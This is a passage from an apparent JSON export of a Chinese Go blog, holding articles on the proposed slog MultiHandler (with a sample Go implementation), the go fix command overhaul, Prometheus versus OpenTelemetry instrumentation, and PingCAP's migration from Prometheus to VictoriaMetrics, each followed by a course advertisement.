中引入以来，一个常见的需求始终困扰着开发者：如何将日志同时发送到多个目的地，并为每个目的地设置不同的日志级别？尽管社区已涌现出 samber/slog-multi 等优秀的三方库，但关于“标准库是否应原生支持”的讨论从未停止。最近，一项编号为#65954 的提案，建议在 log/slog 中加入 MultiHandler，获得了 Go 官方的 [likely accept] 评级。本文将带您回顾该提案从被质疑到被接受的全过程，深入探讨其背后的设计权衡。\n背景：一个普遍而又棘手的需求 在实际生产环境中，日志往往需要被送往多个地方：\n控制台（stdout）：用于开发和调试，通常需要 DEBUG 级别的详细信息。\n本地文件：用于归档和追溯，可能需要 INFO 级别以上的日志。\n远端日志服务（如 ELK, Loki,VictoriaLogs等）：用于聚合和告警，可能只关心 ERROR 级别的日志。\n然而，log/slog 的核心设计是一个 Logger 对应一个 Handler。虽然 io.MultiWriter 可以将相同格式、相同级别的日志写入多个 io.Writer，但它无法满足不同目的地、不同级别这一核心需求。\n这导致许多开发者不得不自行实现 slog.Handler 来“扇出”（fan-out）日志，或者引入第三方依赖。正如提案者 lxl-renren 和多位评论者所指出的，这是一个非常普遍的场景。\n从“不需要”到“值得拥有”的转变 提案初期，Go 团队成员 jba (Jonathan Amsterdam) 和 seankhliao 对其必要性提出了质疑，核心论点是：\n社区已有解决方案：像 samber/slog-multi 这样的库已经很好地解决了问题。\n实现相对简单：开发者可以自己编写一个 multiHandler 来实现。\n避免增加标准库维护负担：Go 团队对向标准库添加新 API 持非常谨慎的态度。\n然而，随着讨论的深入，社区的声音和更多场景的出现，逐渐改变了 Go 团队的看法。\nOpenTelemetry 集成：有开发者指出，当应用需要同时将日志发送到 stdout 和 OpenTelemetry Collector 时，MultiHandler 几乎成了“刚需”。 依赖问题：还有开发者认为，仅仅为了一个功能而引入一个带有额外依赖（有时甚至是不必要的测试依赖）的第三方库，违背了 Go 崇尚简约的哲学。 实现的微妙之处：甚至有开发者反驳了“实现简单”的观点，认为 slog.Handler 的正确实现存在许多“坑”（footguns），普通开发者未必能一次写对，尤其是在处理 WithAttrs 和 WithGroup 的状态传递时。 先例与惯例：社区成员指出，标准库中已经存在 io.MultiReader 和 io.MultiWriter 这样的先例，为 slog 提供一个 MultiHandler 符合语言的内在一致性。 Filippo Valsorda 的“三复制代码” 在讨论中，Go 安全负责人、核心开发者 Filippo Valsorda (@FiloSottile) 的评论成为了一个重要的转折点。他分享了自己在三个不同项目中都复制粘贴了的 multiHandler 实现，并直言：“代码量太少，不值得为此增加一个依赖。”\n这段代码堪称 slog.Handler 实现的典范，简洁而完整：\ntype multiHandler []slog.Handler func MultiHandler(handlers ...slog.Handler) slog.Handler { return multiHandler(handlers) } func (h multiHandler) Enabled(ctx context.Context, l slog.Level) bool { for i := range h { if h[i].Enabled(ctx, l) { return true // 只要有一个 handler 需要，就启用 } } return false } func (h multiHandler) Handle(ctx context.Context, r slog.Record) error { var errs []error for i := range h { // 在 Handle 内部再次检查 Enabled，确保日志只发给需要的 handler if h[i].Enabled(ctx, r.Level) { // 克隆 Record 以防 handler 修改，影响后续 handler if err := h[i].Handle(ctx, r.Clone()); err != nil { errs = append(errs, err) } } } return errors.Join(errs...) // 合并所有 handler 的错误 } func (h multiHandler) WithAttrs(attrs []slog.Attr) slog.Handler { handlers := make([]slog.Handler, 0, len(h)) for i := range h { handlers = append(handlers, h[i].WithAttrs(attrs)) } return multiHandler(handlers) } func (h multiHandler) WithGroup(name string) slog.Handler { handlers := make([]slog.Handler, 0, len(h)) for i := range h { handlers = append(handlers, h[i].WithGroup(name)) } return multiHandler(handlers) } Filippo 的分享有力地证明了：这确实是一个普遍存在、实现固定、但自己写又有点麻烦的“最佳实践”代码片段。将其标准化，可以避免社区无数次地“重复造轮子”。\n最终提案：一个简单、顺序、可预测的 MultiHandler 最终，在充分吸取了社区的意见后，jba 转变了看法，并亲自提出了最终的 API 提案，该提案目前已被标记为 [likely accept]：\n// MultiHandler returns a handler that invokes all the given Handlers. // Its Enable method reports whether any of the handlers\u0026#39; Enabled methods return true. // Its Handle, WithAttr and WithGroup methods call the corresponding method on each of the enabled handlers. func MultiHandler(handlers ...Handler) Handler 在讨论中，团队还明确了几个重要的行为特性：\n顺序执行：MultiHandler 将依次、同步地调用每一个 handler，类似于 io.MultiWriter。 错误处理：与 io.MultiWriter 在遇到第一个错误时就停止不同，MultiHandler 将会继续执行所有的 handler，并最终通过 errors.Join 返回所有遇到的错误。这对于日志场景更为合理，因为一个 handler（如远程服务）的失败不应阻止日志被写入另一个更可靠的 handler（如 stderr）。 不处理并发：标准库版本将不会内置复杂的异步、批处理或超时逻辑。这些高级功能被认为设计自由度太大，更适合由社区的第三方库来实现和探索。 小结 slog.MultiHandler 的提案演进过程，是 Go 标准库发展哲学的一次完美体现。它始于一个看似“社区可以自己解决”的问题，但通过社区的广泛反馈和真实场景的展示，最终证明了将其标准化的价值：为最普遍的需求提供一个简单、可靠、零依赖的解决方案，同时为更复杂的需求留出空间，让社区生态去创新。\n对于广大的 Go 开发者而言，这无疑是个好消息。在不久的将来，我们或许就能告别为多目标日志而编写的那些重复代码或引入的微小依赖，享受到标准库带来的便利和统一。这正是 Go 语言持续改进、不断提升开发者体验的魅力所在。\n资料链接：https://github.com/golang/go/issues/65954\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/29/slog-multihandler/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/slog-multihandler-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/29/slog-multihandler\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/29/slog-multihandler\"\u003ehttps://tonybai.com/2025/07/29/slog-multihandler\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e自 log/slog 在 Go 1.21 中引入以来，一个常见的需求始终困扰着开发者：如何将日志同时发送到多个目的地，并为每个目的地设置不同的日志级别？尽管社区已涌现出 samber/slog-multi 等优秀的三方库，但关于“标准库是否应原生支持”的讨论从未停止。最近，一项编号为\u003ca href=\"https://github.com/golang/go/issues/65954\"\u003e#65954\u003c/a\u003e 的提案，建议在 log/slog 中加入 MultiHandler，获得了 Go 官方的 \u003cstrong\u003e[likely accept]\u003c/strong\u003e 评级。本文将带您回顾该提案从被质疑到被接受的全过程，深入探讨其背后的设计权衡。\u003c/p\u003e","title":"slog 如何同时输出到控制台和文件？MultiHandler 提案或将终结重复造轮子"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/28/go-fix-reborn\n大家好，我是Tony Bai。\nGo 语言工具链中的元老级命令 go fix 即将迎来其生命周期中最重要的转折点。一项编号为 #73605 的新提案建议移除 go fix 当前的全部功能，使其暂时成为一个空命令。这一看似“激进”的举动，实则是为一个更宏大的目标铺路：将 go fix 改造为一个基于 Go 强大的代码分析（analysis）框架的、能够批量应用安全修复的现代化工具。本文将深入解读该提案的背景、具体内容以及它对 Go 代码现代化演进的深远影响。\n背景：go fix 的历史使命与现状 在 Go 语言的早期发展阶段，go fix 是一个不可或缺的工具。它帮助早期使用者应对语言和标准库快速迭代带来的兼容性问题。其内置的修复器（fixer）涵盖了从 +build 标签迁移到 context 包导入路径变更等一系列历史遗留问题。\n然而，时至今日，这些修复器中的绝大多数早已完成了它们的历史使命，变得鲜为人知且几乎不再被需要。提案作者 Alan Donovan 指出，除了 buildtag（处理旧式构建标签）可能还有些用处外，其他如 cftype、egl、netipv6zone 等修复器都已过时。\n一个陈旧、功能固化的 go fix 已经无法满足现代 Go 开发的需求。\n提案核心：“清空”是为了更好的“填充” 该提案分为前后关联的两步，本次讨论的是第一步：\n第一步（本提案 #73605）：清空 go fix\n提案建议，首先移除 go fix 命令当前所有的修复功能，使其在执行时仅打印一条错误或提示信息。\n第二步（未来提案 #71859）：重生 go fix\n在“清空”之后，未来的提案将赋予 go fix 全新的能力：将 go fix 变成一个调用代码分析框架的工具。正如 Go 团队的 Alan Donovan 所构想的，未来的 go fix 和 go vet 将成为一对“孪生兄弟”：\ngo vet 负责诊断：它的目标是精准地发现代码中可能存在的、值得关注的问题，并发出警告。 go fix 负责修复：它不再报告问题，而是静默地、批量地、安全地应用由一系列代码现代化分析器（modernizers）提供的修复建议。 两个工具都将基于同一个代码分析驱动（unitchecker），但运行在不同的模式下，拥有各自独立（但有重叠）的分析器集合。\n对开发者的影响：\n这将是一次巨大的开发者体验升级。go fix 将从一个处理历史遗留问题的“考古”工具，蜕变为一个帮助开发者保持代码整洁、现代、高效的“智能重构”工具。开发者将能够通过一条命令，自动完成诸如简化复合字面量、移除未使用的函数参数、应用 //go:fix 建议等一系列繁琐但有价值的编码任务。\n社区讨论：兼容性与未来 这项提案在社区引发了积极的讨论，核心焦点在于如何平稳过渡，避免破坏现有工作流。\n兼容性问题：seankhliao 指出，通过 GitHub 搜索发现，仍有许多 Makefile 和 shell 脚本在其工作流中调用 go fix。如果该命令直接报错退出，可能会破坏这些现有的构建流程。\n保留部分功能：rsc 和 cherrymui 等核心团队成员建议，不应让 go fix 直接报错。至少，处理 +build 标签的 buildtag 修复器应该以某种形式保留下来。对于像 context 包导入路径这样的重要迁移，可以通过在旧包中添加 //go:fix 注解的方式来保留其功能，同时让 go fix 命令本身成为一个无操作（no-op）的命令。\n最终方向：经过讨论，社区基本达成共识。提案的推进方向被修订为：\n移除绝大部分过时的修复器，如 cftype, jni, printerconfigFix 等。 保留 buildtag 修复器的功能，因为它仍然具有现实意义。 对于 golang.org/x/net/context 的迁移，将通过在 x/net/context 包中添加 //go:fix 注解来实现，确保开发者在依赖旧包时能得到现代工具的自动修复支持。 go fix 命令本身将不会报错退出，而是成为一个只保留极少数核心功能的命令，为未来的功能扩展做好准备。 该提案目前已被标记为 [Likely Accept]，表明 Go 团队很大概率会采纳这一方向。\ngo fix 的安全哲学与第三方分析器的挑战 在构想新版 go fix 时，一个核心的设计哲学被反复强调：修复必须是绝对安全的。Go 团队的目标是，开发者应该能够在一个大型代码库上运行 go fix，然后仅需粗略的代码审查就能自信地合并结果，而不必担心引入任何新的 bug。\n这种对安全性的极致追求，也解释了提案讨论中关于是否应该允许第三方（如 staticcheck 或库作者）扩展 go fix 的谨慎态度。Alan Donovan 指出，即使对于有编译器背景的专家来说，编写一个在所有边缘情况下都行为正确的、真正安全的自动修复程序也极其困难。一个看似无害的修复，很可能在处理 nil 值、NaN、别名或并发副作用时引入难以察觉的行为变更。\n过早地开放 go fix 的扩展能力，可能会让开发者的编辑器里充斥着来自各种依赖库的、质量参差不齐的诊断信息和修复建议，甚至可能引入安全风险。\n//go:fix：一种更安全的演进路径 相比于一个完全开放的分析器修复生态，Go 团队目前更倾向于推广一种已有的、本质上更安全的机制：//go:fix 注解。\n这个机制允许库的作者在其代码中标记一个已弃用的 API，并提供一个语法层面的、一对一的替换方案。例如，当一个函数被重命名或移动时，可以在旧函数上添加注解，指向新函数。\n// Deprecated: use Bar instead. //go:fix Bar // 仅示例，并非最终语法形式 func Foo() {} func Bar() {} 当开发者调用 Foo() 时，gopls 或未来的 go fix 就能安全地将其替换为 Bar()。\n为什么 //go:fix 更安全？\n因为它不涉及复杂的语义分析和代码重构。它是一种由库作者提供的、明确的、机械的替换规则。这与 Go 语言“兼容性承诺”的哲学一脉相承：库的升级不应破坏向后兼容性，而 //go:fix 则为 API 的平滑演进提供了一个优雅的、自动化的迁移路径。\n因此，在短期内，新版 go fix 的核心能力将集中在由 Go 团队维护的一系列经过严格审查的“现代化”分析器上，例如将 interface{} 自动替换为 any。而对于库作者来说，//go:fix 将是推荐的、用于引导用户进行 API 迁移的主要工具。\n小结：为 Go 的“自愈”能力铺路 go fix 的“废与立”提案，看似只是一个简单工具的生命周期管理，实则清晰地勾勒出了 Go 工具链未来的发展蓝图。通过剥离历史包袱，Go 团队正为 go fix 注入新的活力，准备将其打造为 Go 生态系统中一个强大的、自动化的代码现代化引擎。\n对于 Go 开发者而言，这意味着未来我们将拥有更智能的工具，能够更轻松地跟上语言的最佳实践，编写出更高质量、更易于维护的代码。从 go fmt 的格式统一，到 go vet 的静态检查，再到未来 go fix 的智能修复，Go 正在一步步构建起强大的代码“自愈”能力，持续降低软件工程的复杂性。我们有理由对此保持高度期待。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/28/go-fix-reborn/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-fix-reborn-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/28/go-fix-reborn\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/28/go-fix-reborn\"\u003ehttps://tonybai.com/2025/07/28/go-fix-reborn\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言工具链中的元老级命令 go fix 即将迎来其生命周期中最重要的转折点。一项编号为 \u003cstrong\u003e#73605\u003c/strong\u003e 的新提案建议\u003ca href=\"https://github.com/golang/go/issues/73605\"\u003e移除 go fix 当前的全部功能\u003c/a\u003e，使其暂时成为一个空命令。这一看似“激进”的举动，实则是为一个更宏大的目标铺路：将 go fix 改造为一个基于 Go 强大的\u003cstrong\u003e代码分析（analysis）框架\u003c/strong\u003e的、能够批量应用安全修复的现代化工具。本文将深入解读该提案的背景、具体内容以及它对 Go 代码现代化演进的深远影响。\u003c/p\u003e","title":"Go fix 命令将迎“重生”：移除过时功能，为集成现代化代码分析器铺平道路"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/27/native-prometheus-instrumentation-over-opentelemetry\n大家好，我是Tony Bai。\n在云原生可观测性的世界里，OpenTelemetry (OTel) 正如日中天。它被誉为“可观测性的未来”，承诺用一个统一的标准，终结 Metrics、Traces、Logs 各自为战的混乱局面。无数的开发者和公司，都在热情地拥抱这个“一次插桩，到处发送”的美好愿景。\n但就在这股几乎不可阻挡的浪潮中，一个权威的声音却发出了一个略显刺耳的警告。\n这个人，就是 Prometheus 的联合创始人，Julius Volz。\n在他最新的博文中，Julius 毫不客气地指出：如果你正在使用 Prometheus 作为你的核心监控系统，并且你真正关心监控的质量和体验，那么，在使用 OpenTelemetry SDK 生成 Metrics 前，请务必三思！\n他认为，拥抱 OTel 这个“通用标准”的代价，可能是丢掉 Prometheus 作为一个完整监控系统的“灵魂”，并背上丑陋、低效和复杂的“技术债”。\n你正在丢掉 Prometheus 的灵魂 Julius 首先尖锐地指出了一个哲学问题：Prometheus 不仅仅是一个“指标数据库”，它是一个端到端的、有自己思想的监控系统。而 OTel 的“后端无关”设计，恰恰破坏了这种端到端的自洽性。当你选择用 OTel 向 Prometheus 推送数据时，你正在放弃这些至关重要的原生特性：\n失去灵魂：Target 健康监控 (up 指标) Prometheus 最核心的设计之一就是 Pull 模型 + 服务发现。这意味着 Prometheus 主动拉取指标，它清楚地知道“哪些目标应该存在”以及“它们现在是否健康”。如果一个目标拉取失败，Prometheus 会自动生成一个 up{job=”demo”} = 0 的指标。你可以用一条简单的 PromQL 告警规则 up == 0 来发现任何失联的服务。\n然而，当你使用 OTel 的 Push 模型时，Prometheus 变成了一个被动的“无情的数据接收器”。它无法再区分一个服务是“正常下线”还是“已经崩溃但没来得及上报”。你可能拥有数百个已经死掉的服务进程，却在监控图表上一无所知。\n失去优雅：丑陋的 PromQL 查询 为了兼容 PromQL，OTel 的指标在进入 Prometheus 时，往往需要经过“魔改”。\n命名冲突： OTel 允许在指标名中使用“.”，而 Prometheus 的传统是不允许的。所以，一个 OTel 指标 k8s.pod.cpu.time 在进入 Prometheus 后，会被翻译成 k8s_pod_cpu_time_seconds_total。这种不一致性会给开发者带来困惑。\n繁琐的查询语法： 为了支持 OTel 更宽泛的字符集，如果你想查询原始的 OTel 指标名，你的 PromQL 查询会从优雅的 my_metric{…} 变成丑陋的 {“my.metric”, …}。\n失去便利：复杂的标签 Join Prometheus 的 target labels（如 instance, job）会被自动附加到从该目标拉取的所有指标上。而 OTel 的 resource attributes（包含更多非关键元数据）则不会。为了避免高基数问题，大部分 OTel 的资源属性被打包进了一个单独的 target_info 指标里。\n这意味着，如果你想在查询时使用这些属性，你必须写出类似下面这样繁琐的 group_left join 查询：\n// 想加一个 k8s_cluster_name 标签，查询变得如此复杂 rate(http_server_request_duration_seconds_count[5m]) * on(job, instance) group_left(k8s_cluster_name) target_info 这些问题，都在不断地增加你的认知负荷和工作复杂度。\n性能鸿沟：Go SDK 的“血案”现场 如果说失去优雅和可靠性还不足以让你警醒，那么接下来的硬核性能数据，可能会让你大吃一惊。Julius 特别对比了 Prometheus Go SDK 和 OpenTelemetry Go SDK 在执行最常见操作——计数器递增——时的性能。\n结论是毁灭性的。\nJulius 的基准测试显示，在不同的并行度和标签缓存条件下：\n在最坏情况下，Prometheus Go SDK 比 OTel Go SDK 快 26 倍。\n在有标签缓存的最佳情况下，Prometheus Go SDK 甚至可以比 OTel Go SDK 快 53 倍！\n更致命的是，Prometheus Go SDK 在所有情况下都实现了零新内存分配，而 OTel SDK 在设置标签时则会持续产生内存分配。\n为什么会有如此惊人的差距？\n复杂性 vs. 专注性： OTel SDK 是一个试图统一三驾马车（Metrics, Traces, Logs）的庞大系统，内部抽象层次多，路径长。而 Prometheus SDK 的目标极其单一和专注：用最高效的方式生成 Prometheus 指标。\n主观代码体验： Julius 更是用一个生动的例子佐证了这一点——他想在两个 SDK 中找到核心的 Inc() 函数实现。在 Prometheus Go SDK 中，他花了 5 秒；而在 OTel Go SDK 中，他在复杂的抽象和间接调用中迷失了 15 分钟后，最终放弃了。\n对于性能至关重要的 Go 后端服务来说，选择 OTel SDK 进行指标插桩，无异于在你的性能快车道上，悄悄地铺上了一层厚厚的沥青。\n结论：在“通用标准”与“原生体验”之间做出选择 Julius 的文章并非是否定 OpenTelemetry 的价值。OTel 作为一个中立的、后端无关的“可观测性瑞士”，在构建异构系统、避免厂商锁定的场景中，依然具有不可替代的战略意义。\n但他的警告是在提醒我们一个深刻的权衡：\nOpenTelemetry 的世界观： 追求最大的通用性和互操作性。它是一个数据生成和传输的标准，它不关心数据最终如何被使用。\nPrometheus 的世界观： 追求一个深度整合、端到端优化的系统体验。它的每一个设计——从 Pull 模型到 PromQL 语法——都在为最终用户能以最优雅、最高效的方式进行监控和告警服务。\n如果你已经选择 Prometheus 作为你的核心监控“城邦”，那么使用它原生的客户端库，并非是选择“封闭”，而是选择一个经过千锤百炼的、高度自洽的、性能卓越的解决方案。\n所以，在你为下一个 Go 项目 go get OTel SDK 之前，请先问自己一个问题：我是在追求一个“放之四海而皆准”的通用标准，还是在追求一个能将我的核心工具发挥到极致的原生体验？\n答案，可能决定了你未来无数个夜晚的睡眠质量。\n资料链接：https://promlabs.com/blog/2025/07/17/why-i-recommend-native-prometheus-instrumentation-over-opentelemetry/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/27/native-prometheus-instrumentation-over-opentelemetry/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/native-prometheus-instrumentation-over-opentelemetry-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/27/native-prometheus-instrumentation-over-opentelemetry\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/27/native-prometheus-instrumentation-over-opentelemetry\"\u003ehttps://tonybai.com/2025/07/27/native-prometheus-instrumentation-over-opentelemetry\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在云原生可观测性的世界里，OpenTelemetry (OTel) 正如日中天。它被誉为“可观测性的未来”，承诺用一个统一的标准，终结 Metrics、Traces、Logs 各自为战的混乱局面。无数的开发者和公司，都在热情地拥抱这个“一次插桩，到处发送”的美好愿景。\u003c/p\u003e","title":"Prometheus 联合创始人的警告：在使用 OpenTelemetry 生成 Metrics 前请三思！"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/26/migrate-from-prometheus-to-victoriametrics\n大家好，我是Tony Bai。\n在云原生可观测性的领域，Prometheus 无疑是王者。凭借其简洁的模型、强大的 PromQL 和活跃的社区，Prometheus 几乎定义了现代监控的行业标准。许多顶尖技术公司，包括 PingCAP，都将其作为核心产品的监控与告警解决方案。\n然而，Prometheus 的架构缺陷使其在大规模监控中显得力不从心。我们经常看到像 Pinterest 这样的大型企业面临的真实挑战。当一个 TiDB 集群规模达到 700+ 节点，每秒处理 700K+ QPS 时，曾经可靠的“王者”开始露出疲态。用于故障诊断的核心工具 TiDB Clinic 在回放和分析这些大规模集群的指标时，Prometheus 开始频繁崩溃。\n这迫使整个行业直面一个残酷的现实：在极限规模下，Prometheus 不再是最佳选择。最近，PingCAP 官方发布的一篇博文 详细记录了他们如何应对这一挑战，并最终选择用 VictoriaMetrics 完成“换心手术”的全过程。\n压垮 Prometheus 的“五宗罪” 为了支持 Pinterest 这样的大客户，pingcap工程团队为 Prometheus 分配了“怪兽级”的硬件资源：一台拥有 96 核心 CPU 和 768GB RAM 的 i4i.24xlarge 实例。许多人曾天真地以为，只要资源给够，一切问题都能解决。\n但事实并非如此。在高基数、高吞吐量的指标冲击下，Prometheus 暴露出了几个致命的、与资源无关的瓶颈：\nOut of Memory (OOM) 崩溃 在执行大型、复杂的查询时，尤其是时间跨度较长时，Prometheus 的内存消耗会急剧飙升，最终被系统 OOM Killer 无情终结。\n漫长的恢复时间 OOM 之后，Prometheus 需要通过重放 WAL (Write-Ahead Log) 来恢复数据。对于海量数据，这个过程动辄需要 40 分钟以上，有时甚至会因为各种原因彻底失败。\n“死亡循环” 最令人绝望的是，WAL 重放过程本身就是一个高资源消耗的操作，它很可能再次触发 OOM。文章中提到，工程团队遇到过 Prometheus 在崩溃和重启的“死亡循环”中挣扎，迟迟无法恢复服务的情况。\n查询性能瓶颈 为了避免 OOM，工程师们不得不将排查问题的查询时间范围，严格限制在 15 分钟以内。一旦超过这个窗口，查询就会变得极慢或直接失败。这对于需要进行历史数据分析的故障根因定位，是致命的。\n高昂的 TCO (总拥有成本) 为它配置了顶级的硬件，却换来了不稳定的服务和受限的查询能力。这笔投入的性价比，显然是极低的。\n这一系列的“血泪教训”让我们明白，问题的根源不在于资源不足，而在于 Prometheus 的架构设计，在面对超大规模场景时，已经触及其能力的“天花板”。\n救世主登场：VictoriaMetrics 的崛起 带着这些痛点，工程团队开始寻找替代方案。VictoriaMetrics (VM) 进入了他们的视野，它从设计之初就为大规模、长周期监控场景而生。\n值得一提的是，在云原生监控领域，VictoriaMetrics 的崛起并非偶然。曾几何时，InfluxDB 也是 Prometheus 的一个强力竞争者。然而，自从 InfluxDB 决定用 Rust 重写其 3.0 版本核心后，其在 Go 社区和云原生生态中的声量和影响力似乎有所下降。与此同时，完全用 Go 编写、性能卓越且与 Prometheus 生态高度兼容的 VictoriaMetrics，则抓住了这个机会，迅速填补了市场空白，赢得了越来越多大规模用户的青睐。\n经过一系列严谨的测试，PingCAP 的团队发现 VictoriaMetrics 在几个关键点上完美地解决了 Prometheus 的困境。\n1. 资源利用率大幅优化\n迁移到 VictoriaMetrics 后，奇迹发生了。在处理同样体量的指标时：\nCPU 使用率稳定在 50% 以下。\n内存使用率保持在 35% 以下。\nOOM 崩溃彻底消失。\nVM 用更少的资源，提供了更强的稳定性。\n2. 查询能力质的飞跃\n这才是最关键的提升。过去在 Prometheus 上 15 分钟就必定失败的复杂查询，现在在 VictoriaMetrics 上可以轻松地将时间范围扩展到数小时。这意味着工程师在排查问题时，终于可以从“戴着镣铐跳舞”变得游刃有余。\n3. 数据为证：性能的碾压\n口说无凭，PingCAP 团队在 Pinterest 的集群上进行了直接的性能对比测试，结果不言自明：\n指标 时间范围 Prometheus 性能 VictoriaMetrics (Tuned) 性能 KV Request (简单查询) 15分钟 失败 成功 (1分钟内) 99% gRPC duration (复杂查询) 30分钟 失败 (26秒后) 成功 (7.4秒) 99% gRPC duration (复杂查询) 1小时 失败 (15秒后) 成功 (7.4秒) 表格清晰地显示，Prometheus 在处理稍长时间范围的查询时便迅速败下阵来，而 VictoriaMetrics 则表现得轻松自如，甚至在处理 1 小时的数据时，查询耗时也仅为个位数秒。\n迁移实录：“零停机”三步走策略 当然，替换一个生产环境的核心监控系统，是一项高风险的“换心手术”。为了确保万无一失，PingCAP 的工程师们设计并执行了一套平滑、无感知的迁移策略：\nStep 1: 并行部署，双轨并行\n他们没有直接关闭 Prometheus，而是在旁边部署了一套 VictoriaMetrics，让它们同时从 TiDB 集群采集完全相同的数据。\nStep 2: 对比验证，建立信任\n在双轨运行阶段，工程师们持续对比两个系统的数据准确性、查询性能和资源消耗。这个阶段让他们用真实数据验证了 VM 的所有优势，并建立了切换的信心。\nStep 3: 优雅切换，最终交割\n在确认一切平稳后，他们将 Grafana 的数据源从 Prometheus 指向 VictoriaMetrics，然后从容地关闭了 Prometheus 服务。整个过程对用户和工程师完全透明，没有造成任何监控停机或数据丢失。\n小结 这次从 Prometheus 到 VictoriaMetrics 的迁移，不是一次对 Prometheus 的否定。Prometheus 依然是一个极其优秀、定义了行业的伟大工具，对于 90% 的场景，它简单、可靠，是最佳选择。\n但这个案例证明，技术选型没有永恒的“银弹”，只有在特定规模和场景下的“最合适的工具”。\n当你的系统规模跨越了某个临界点，过去让你引以为傲的“简单”架构，就可能成为你继续前进的“诅咒”。勇于直面工具的边界，并基于翔实的数据和严谨的流程做出改变，这本身就是一种宝贵的工程能力。\n更值得关注的是，就在近期，VictoriaMetrics 团队宣布将其另外两个关键的可观测性产品——VictoriaLogs 和 VictoriaTrace——作为独立的开源项目发布。这意味着 VictoriaMetrics 不再仅仅满足于成为一个 Metrics 领域的强者，它的目标是构建一个覆盖 Metrics, Logs, Traces 的全方位、高性能可观测性平台。\n对于 TiDB 和其他面临类似挑战的大规模系统而言，VictoriaMetrics 已经被证明是一个坚实的基础。而对于整个云原生社区，一个更强大、更全面的可观测性“新王”，或许正在悄然加冕。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n资料地址：https://www.pingcap.com/blog/tidb-observability-migrating-prometheus-victoriametrics/\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/26/migrate-from-prometheus-to-victoriametrics/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/migrate-from-prometheus-to-victoriametrics-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/26/migrate-from-prometheus-to-victoriametrics\"\u003e本文永久链接\u003c/a\u003e – \u003ca 